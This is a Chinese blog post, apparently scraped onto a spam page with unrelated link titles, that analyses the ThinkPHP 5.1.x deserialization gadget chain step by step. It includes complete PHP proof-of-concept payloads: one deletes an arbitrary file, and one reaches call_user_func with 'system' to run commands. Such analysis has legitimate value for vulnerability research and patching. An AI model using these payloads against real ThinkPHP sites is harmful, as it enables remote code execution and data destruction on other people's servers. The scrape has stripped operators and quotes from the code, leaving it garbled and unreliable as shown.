当前位置: 首页 > news >正文

网站建设情况的汇报重庆网络推广公司

网站建设情况的汇报,重庆网络推广公司,app开发公司重庆,小程序制作开发定制ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析从0编写POC 文章目录 ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析从0编写POC动态调试环境配置Thinkphp反序列化链5.1.X原理分析一.实现任意文件删除二.实现任意命令执行真正的难点 Thinkphp反序列化链5.1.…ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析从0编写POC 文章目录 ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析从0编写POC动态调试环境配置Thinkphp反序列化链5.1.X原理分析一.实现任意文件删除二.实现任意命令执行真正的难点 Thinkphp反序列化链5.1.x 编写 Poc汇总POC 动态调试环境配置 比较简洁的环境配置教程 https://sn1per-ssd.github.io/2021/02/09/phpstudy-phpstorm-xdebug%E6%90%AD%E5%BB%BA%E6%9C%AC%E5%9C%B0%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83/ Thinkphp反序列化链5.1.X原理分析 原理分析仅仅是遵循前辈的已有的道路而不是完全探究每一种链子所带来的情况和可能性 前提存在反序列化的入口 unserialize()phar反序列化session反序列化 __destruct/__wakeup可以作为PHP反序列链的入口 这里简单介绍一下__destruct垃圾回收机制与生命周期的含义 __destruct可以理解为PHP的垃圾回收机制是每次对象执行结束后必须执行的内容但是执行的先后顺序往往和反序列化的生命周期有关 例如 ?php class Test{public $name;public $age;public $string;// __construct实例化对象时被调用.其作用是拿来初始化一些值。public function __construct($name, $age, $string){echo __construct 初始化.br;}// __destruct当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。/** 当对象销毁时会调用此方法* 一是用户主动销毁对象二是当程序结束时由引擎自动销毁*/function __destruct(){echo __destruct 类执行完毕.br;} } $test new test(test,18, Test String); echo 第二种执行完毕.br;?这里$test new test(test,18, Test String); 对象被赋值给了$test变量而不是直接的new test(test,18, Test String); 传递给对象延长了对象的生命周期 所以是在echo 第二种执行完毕.br;执行后才执行了__destruct内容 类似的比如快速销毁(Fast-destruct) ?php class Test{public $name;public $age;public $string;// __construct实例化对象时被调用.其作用是拿来初始化一些值。public function __construct($name, $age, $string){echo __construct 初始化.br;}// __destruct当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。/** 当对象销毁时会调用此方法* 一是用户主动销毁对象二是当程序结束时由引擎自动销毁*/function __destruct(){echo __destruct 类执行完毕.br;} }//主动销毁 $test new Test(test,18, Test String); unset($test); echo 第一种执行完毕.br; echo ----------------------br;?这里直接__construct后执行__destruct 因为unset — 清除指定变量直接销毁储存对象的变量达到快速垃圾回收的目的 现在开始分析链子 Windows 类中__destruct执行了自身的removeFiles()方法 跟进removeFiles private function removeFiles(){foreach ($this-files as $filename) {if (file_exists($filename)) {unlink($filename);}}$this-files [];}发现遍历$this-files,而且$this-files可控作为数组传递 一.实现任意文件删除 unlink($filename);删除了传递的filename 简单编写poc ?php namespace think\process\pipes;use think\Process; class Pipes{};class Windows extends Pipes {private $files [D:\\flag.txt];} $windowsnew Windows(); echo(base64_encode(serialize($windows))); ?可以实现任意文件的的删除 二.实现任意命令执行 除了任意文件删除危害还可以更大吗? 通过POP链可以实现任意命令执行 全局逻辑图 private function removeFiles(){foreach ($this-files as $filename) {if (file_exists($filename)) {unlink($filename);}}$this-files [];}file_exists函数用于判断文件是否存在 预期传入 String $filename但是如果我们控制$filename作为一个对象就可以隐形的调用类的__toString()方法 在thinkphp/library/think/model/concern/Conversion.php中 public function __toString(){return $this-toJson();}public function toJson($options JSON_UNESCAPED_UNICODE){return json_encode($this-toArray(), $options);}public function toArray(){$item [];$hasVisible false;foreach ($this-visible as $key $val) {if (is_string($val)) {if (strpos($val, .)) {list($relation, $name) explode(., $val);$this-visible[$relation][] $name;} else {$this-visible[$val] true;$hasVisible true;}unset($this-visible[$key]);}}foreach ($this-hidden as $key $val) {if (is_string($val)) {if (strpos($val, .)) {list($relation, $name) explode(., $val);$this-hidden[$relation][] $name;} else {$this-hidden[$val] true;}unset($this-hidden[$key]);}}// 合并关联数据$data array_merge($this-data, $this-relation);foreach ($data as $key $val) {if ($val instanceof Model || $val instanceof ModelCollection) {// 关联模型对象if (isset($this-visible[$key]) is_array($this-visible[$key])) {$val-visible($this-visible[$key]);} elseif (isset($this-hidden[$key]) is_array($this-hidden[$key])) {$val-hidden($this-hidden[$key]);}// 关联模型对象if (!isset($this-hidden[$key]) || true ! $this-hidden[$key]) {$item[$key] $val-toArray();}} elseif (isset($this-visible[$key])) {$item[$key] $this-getAttr($key);} elseif (!isset($this-hidden[$key]) !$hasVisible) {$item[$key] $this-getAttr($key);}}// 追加属性必须定义获取器if (!empty($this-append)) {//在poc中定义了append:[peanut[whoami]foreach ($this-append as $key $name) { //$key paenut; $name [whoami]if (is_array($name)) {//$name[whoami]所以进入// 追加关联对象属性$relation $this-getRelation($key);if (!$relation) {$relation $this-getAttr($key);if ($relation) {$relation-visible($name);//$relation可控找到一个没有visible方法或不可访问这个方法的类时即可调用_call()魔法方法}}$item[$key] $relation ? $relation-append($name)-toArray() : [];} elseif (strpos($name, .)) {list($key, $attr) explode(., $name);// 追加关联对象属性$relation $this-getRelation($key);if (!$relation) {$relation $this-getAttr($key);if ($relation) {$relation-visible([$attr]);}}$item[$key] $relation ? $relation-append([$attr])-toArray() : [];} else {$item[$name] $this-getAttr($name, $item);}}}return $item;}关键的几个判断和赋值 public function getRelation($name null){if (is_null($name)) {return $this-relation;} elseif (array_key_exists($name, $this-relation)) {return $this-relation[$name];}return;}if (!empty($this-append)) {//在poc中定义了append:[peanut[whoami]foreach ($this-append as $key $name) { //$key paenut; $name [whoami]if (is_array($name)) {//$name[whoami]所以进入// 追加关联对象属性$relation $this-getRelation($key);if (!$relation) {$relation $this-getAttr($key);if ($relation) {$relation-visible($name);//$relation可控找到一个没有visible方法或不可访问这个方法的类时即可调用_call()魔法方法}}public function getAttr($name, $item null)//此时$name 上一层的$key peanut{try {$notFound false;$value $this-getData($name);} catch (InvalidArgumentException $e) {$notFound true;$value null;}public function getData($name null)//$name $key peanut{if (is_null($name)) {return $this-data;} elseif (array_key_exists($name, $this-data)) {//poc中定义$this-data [peanutnew request()]return $this-data[$name];} elseif (array_key_exists($name, $this-relation)) {return $this-relation[$name];}throw new InvalidArgumentException(property not exists: . static::class . - . $name);}$relation-visible($name);中$relation可控可以实现任意类的visible方法如果visible方法不存在就会调用这个类的__call方法 如何达到$relation-visible($name); 触发点 访问 if (!empty($this-append)) {//在poc中定义了append:[peanut[whoami]]foreach ($this-append as $key $name) { //$key paenut; $name [whoami]if (is_array($name)) {//$name[whoami]所以进入保证$this-append不为空$this-append 数组的值$name为数组 也就是二维数组 比如传入append:[peanut[whoami]] 接着向下走 $relation $this-getRelation($key);if (!$relation) {public function getRelation($name null){if (is_null($name)) {return $this-relation;} elseif (array_key_exists($name, $this-relation)) {return $this-relation[$name];}return;}不会进入if/elseif中 直接return;回来 为null if (!$relation)为空进入判断 $relation $this-getAttr($key);if ($relation) {$relation-visible($name);//$relation可控找到一个没有visible方法或不可访问这个方法的类时即可调用_call()魔法方法}public function getAttr($name, $item null)//此时$name 上一层的$key peanut{try {$notFound false;$value $this-getData($name);} catch (InvalidArgumentException $e) {$notFound true;$value null;}进入$this-getData public function getData($name null)//$name $key peanut{if (is_null($name)) {return $this-data;} elseif (array_key_exists($name, $this-data)) {//poc中定义$this-data [peanutnew request()]return $this-data[$name];} elseif (array_key_exists($name, $this-relation)) {return $this-relation[$name];}throw new InvalidArgumentException(property not exists: . static::class . - . $name);}判断了$this-data传递的键存在如果存在返回其数组对应的键值 比如可以控制$this-data [peanutnew request()] $relation $this-getAttr($key);if ($relation) {$relation-visible($name);//$relation可控找到一个没有visible方法或不可访问这个方法的类时即可调用_call()魔法方法}$relation-visible($name);中$relation可控为任意类 现在寻找调用__call的类 在thinkphp/library/think/Request.php中 public function __call($method, $args){if (array_key_exists($method, $this-hook)) {array_unshift($args, $this);return call_user_func_array($this-hook[$method], $args);}throw new Exception(method not exists: . static::class . - . $method);}这里存在敏感关键函数call_user_func_array __call($method, $args)接受的参数 $method固定是visible $args是传递过来的$name if (array_key_exists($method, $this-hook)) {array_unshift($args, $this);return call_user_func_array($this-hook[$method], $args);可以控制$this-hook[visible]为任意值,可以控制函数名 call_user_func()的利用方式无非两种 __call_user_func($method, $args) __ call_user_func_array([ o b j , obj, obj,method], $args) 如果执行第一种方式call_user_func($method, $args) 但是这里array_unshift($args, $this); 参数插入$this作为第一个值 参数是不能被正常命令识别的,不能直接RCE 那我们最终的利用点可以肯定并不是这里 如果选择第二种方式 call_user_func_array([$obj,$method], $args) **通过调用 任意类 的 任意方法 **可供选择的可能性更多 call_user_func_array([ o b j , 任 意 方 法 ] , [ obj,任意方法],[ obj,任意方法],[this,任意参数]) 也就是 o b j − obj- obj−func( t h i s , this, this,argv) 真正的难点 曲线救国的策略 难点理解 __call魔术方法受到array_unshift无法可控触发call_user_func_array 利用_call调用isAjax类找可控变量再触发到filterValue里的call_user_func 为什么这里选Request类isAjax方法 接着POP链的调用了? 为什么当时的链子发现的作者会想到通过isAjax接着执行命令? 网上文章千篇一律无非就是拿个poc动态调试粘贴个poc就完了 Thinkphp反序列化漏洞 核心在于 逆向的思考 倒推 开发者不会傻乎乎写个system,shell_exec,exec等系统函数给你利用的可能 而我们又希望最终实现RCE的效果 我们最终应该更多关注于 不明显的回调函数或者匿名函数执行命令 比如call_user_func,call_user_func_array,array_map,array_filter... 在thinkphp/library/think/Request.php中 private function filterValue($value, $key, $filters){$default array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value call_user_func($filter, $value);$filter , $value 可控 通过传递 $filter , $value实现任意命令执行 那么什么地方调用了filterValue?回溯调用filterValue的地方 在thinkphp/library/think/Request.php中input调用 $this-filterValue($data, $name, $filter); public function input($data [], $name , $default null, $filter ){if (false $name) {// 获取原始数据return $data;}$name (string) $name;if ( ! $name) {// 解析nameif (strpos($name, /)) {list($name, $type) explode(/, $name);}$data $this-getData($data, $name);if (is_null($data)) {return $default;}if (is_object($data)) {return $data;}}// 解析过滤器$filter $this-getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, filterValue], $filter);if (version_compare(PHP_VERSION, 7.1.0, )) {// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针$this-arrayReset($data);}} else {$this-filterValue($data, $name, $filter); //调用点}input()函数满足条件但是在 input() 中会对 $name 进行强转 $name (string) $name; 传入对象会直接报错所以使用 ide 对其进行回溯查找调用 input() 的方法 什么地方又调用了input函数? Request类中的param函数 public function param($name , $default null, $filter ){if (!$this-mergeParam) {$method $this-method(true);// 自动获取请求变量switch ($method) {case POST:$vars $this-post(false);break;case PUT:case DELETE:case PATCH:$vars $this-put(false);break;default:$vars [];}// 当前请求参数和URL地址中的参数合并$this-param array_merge($this-param, $this-get(false), $vars, $this-route(false));$this-mergeParam true;}if (true $name) {// 获取包含文件上传信息的数组$file $this-file();$data is_array($file) ? array_merge($this-param, $file) : $this-param;return $this-input($data, , $default, $filter);}return $this-input($this-param, $name, $default, $filter);}什么地方又调用了param函数? 是在thinkphp/library/think/Request.php中isAjax方法调用 public function isAjax($ajax false){$value $this-server(HTTP_X_REQUESTED_WITH);$result xmlhttprequest strtolower($value) ? true : false;if (true $ajax) {return $result;}$result $this-param($this-config[var_ajax]) ? true : $result;$this-mergeParam false;return $result;}我们可以控制$this-config[var_ajax]为任意值 通过 call_user_func([object,method,[$this,args]]); 实现 跳转 Request类的isAjax方法 至此实现整个链路的闭合 Thinkphp反序列化链5.1.x 编写 Poc 我们开始编写Poc时可以以魔术方法作为每个部分的 分界点 因为魔术方法的实现 往往时 跨类 的 注意声明一下 命名空间 //__destruct-removeFiles-file_exists- namespace think\process\pipes; use think\model\Pivot; class Pipes{} class Windows extends Pipes{private $files [];function __construct(){$this-files[new Pivot()];} } 实现触发 new Pivot(任意类)的__toString魔术方法 触发thinkphp/library/think/model/concern/Conversion.php的 注意一下这里是trait Conversion PHP 实现了一种代码复用的方法称为 trait。 Trait 是为类似 PHP 的单继承语言而准备的一种代码复用机制。Trait 为了减少单继承语言的限制使开发人员能够自由地在不同层次结构内独立的类中复用 method。Trait 和 Class 组合的语义定义了一种减少复杂性的方式避免传统多继承和 Mixin 类相关典型问题。 Trait 和 Class 相似但仅仅旨在用细粒度和一致的方式来组合功能。 无法通过 trait 自身来实例化。它为传统继承增加了水平特性的组合也就是说应用的几个 Class 之间不需要继承。 __toString-toJson-toArray-visible- if (!empty($this-append)) {//在poc中定义了append:[peanut[whoami]foreach ($this-append as $key $name) { //$key paenut; $name [whoami]if (is_array($name)) {//$name[whoami]所以进入// 追加关联对象属性$relation $this-getRelation($key);if (!$relation) {$relation $this-getAttr($key);if ($relation) {$relation-visible($name);//$relation可控找到一个没有visible方法或不可访问这个方法的类时即可调用_call()魔法方法}}保证几个条件 $this-append有值$this-append的键对应的值为数组$this-data存在同名keyvalue的值就就是 跳转的任意类的visible方法 //__toString-toJson-toArray-visible- namespace think; abstract class Model{protected $append [];private $data[];function __construct(){$this-append[coleak[]];$this-data[coleaknew Request()];} }//为后续集成类加载 namespace think\model; use think\Model; class Pivot extends Model{ } 可以实现跳转到Request类的_call方法 public function __call($method, $args){if (array_key_exists($method, $this-hook)) {array_unshift($args, $this);return call_user_func_array($this-hook[$method], $args);}接下来进行跳转 call_user_func_array([new Request(),isAjax], $args) $method一定是visible 因此可以控制$this-hook[visible[$this,isAjax]]; 跳转 Request类的isAjax方法 public function isAjax($ajax false){$value $this-server(HTTP_X_REQUESTED_WITH);$result xmlhttprequest strtolower($value) ? true : false;if (true $ajax) {return $result;}$result $this-param($this-config[var_ajax]) ? true : $result;$this-mergeParam false;return $result;}控制$this-config[var_ajax])存在即可 调用$this-param函数 public function param($name , $default null, $filter ){if (!$this-mergeParam) {$method $this-method(true);// 自动获取请求变量switch ($method) {case POST:$vars $this-post(false);break;case PUT:case DELETE:case PATCH:$vars $this-put(false);break;default:$vars [];}// 当前请求参数和URL地址中的参数合并$this-param array_merge($this-param, $this-get(false), $vars, $this-route(false));$this-mergeParam true;}if (true $name) {// 获取包含文件上传信息的数组$file $this-file();$data is_array($file) ? array_merge($this-param, $file) : $this-param;return $this-input($data, , $default, $filter);}return $this-input($this-param, $name, $default, $filter);}这里直接初始化 $name , $default null, $filter 不进入第一个if判断 if (!$this-mergeParam)控制protected $mergeParam true; 其他条件无论执行与否,最后 return $this-input($this-param, $name, $default, $filter); 进入input函数 public function input($data [], $name , $default null, $filter ){if (false $name) {// 获取原始数据return $data;}$name (string) $name;if ( ! $name) {// 解析nameif (strpos($name, /)) {list($name, $type) explode(/, $name);}$data $this-getData($data, $name);if (is_null($data)) {return $default;}if (is_object($data)) {return $data;}}// 解析过滤器$filter $this-getFilter($filter, $default);初始化默认$data [], $name , $default null, $filter 一定会进入$this-filterValue($data, $name, $filter); 调用函数filterValue private function filterValue($value, $key, $filters){$default array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value call_user_func($filter, $value);控制$filter作为系统命令 protected $filter; $this-filter[system];filterValue.value的值为第一个通过GET请求的值 可以控制$value的值作为命令的参数 protected $param [calc]; //protected $param calc也可以走另一条执行路径综合一下 //__call-isAjax-param-input-filterValue-call_user_func namespace think; class Request{protected $hook [];protected $filter;protected $mergeParam true;protected $param [calc];//protected $param calc也可以走另一条执行路径protected $config [var_ajax ,];function __construct(){$this-hook[visible[$this,isAjax]];$this-filter[system];} } 汇总POC ?php//__call-isAjax-param-input-filterValue-call_user_func namespace think; class Request{protected $hook [];protected $filter;protected $mergeParam true;protected $param [calc];//protected $param calc也可以走另一条执行路径protected $config [var_ajax ,];function __construct(){$this-hook[visible[$this,isAjax]];$this-filter[system];} }//__toString-toJson-toArray-visible- namespace think; abstract class Model{protected $append [];private $data[];function __construct(){$this-append[coleak[]];$this-data[coleaknew Request()];} }//为后续集成类加载 namespace think\model; use think\Model; class Pivot extends Model{ }//__destruct-removeFiles-file_exists- namespace think\process\pipes; use think\model\Pivot; class Pipes{} class Windows extends Pipes{private $files [];function __construct(){$this-files[new Pivot()];} }echo base64_encode(serialize(new Windows())); //按实际情况来决定如何处理序列化数据 可以成功执行系统命令 本次链子涉及三个关键类 WindowsConversionRequest 可以浅浅记一下 可以调试看看具体的值
http://www.w-s-a.com/news/926742/

相关文章:

  • 班级网站 建设目标如何做好网站建设内容的策划书
  • 网站建设与网页设计期末考试清博舆情系统
  • plone网站开发商城网站建设怎么收费
  • 旺旺号查询网站怎么做公司门户网站项目模版
  • 网站免费一站二站四站上海网站怎么备案表
  • 漫画交流网站怎么做开发微信小程序公司
  • 网站建设马鞍山怎么建立局域网网站
  • 开源 网站开发框架哪些网站可以做图片链接
  • 大良制作网站网站设计的能力要求
  • 前端设计除了做网站还能做什么江苏高校品牌专业建设工程网站
  • 做二手房产网站多少钱用户权限配置wordpress
  • 做亚马逊网站需要租办公室吗小型企业网站模板
  • 网站全屏视频怎么做个人公司注册网上申请
  • 如何k掉别人的网站搜索引擎优化与关键词的关系
  • 百度推广 网站吸引力做网站开发的薪酬怎么样
  • js网站开发工具软件营销方案
  • 做网站的天空网云南省建设厅网站怎么进不去
  • 天津网站排名提升网络营销推广策略包括哪些
  • 网站建设与管理 ppt网站打开是别人的
  • 图片网站怎么做排名怎么分析一个网站seo
  • 伪原创对网站的影响深圳装修公司排名100强
  • 网站建设公司效果个人可以做医疗信息网站吗
  • 网站使用arial字体下载微网站 建设
  • 文化馆网站建设意义营销型国外网站
  • 公司网站定位建议wordpress怎么用模板
  • 中国十大热门网站排名计算机选什么专业最好
  • 怀化建设企业网站太原网站关键词排名
  • 空间注册网站网站制作是怎么做的
  • 数码家电商城网站源码一个网站的成本
  • 网站伪静态是什么意思麻涌东莞网站建设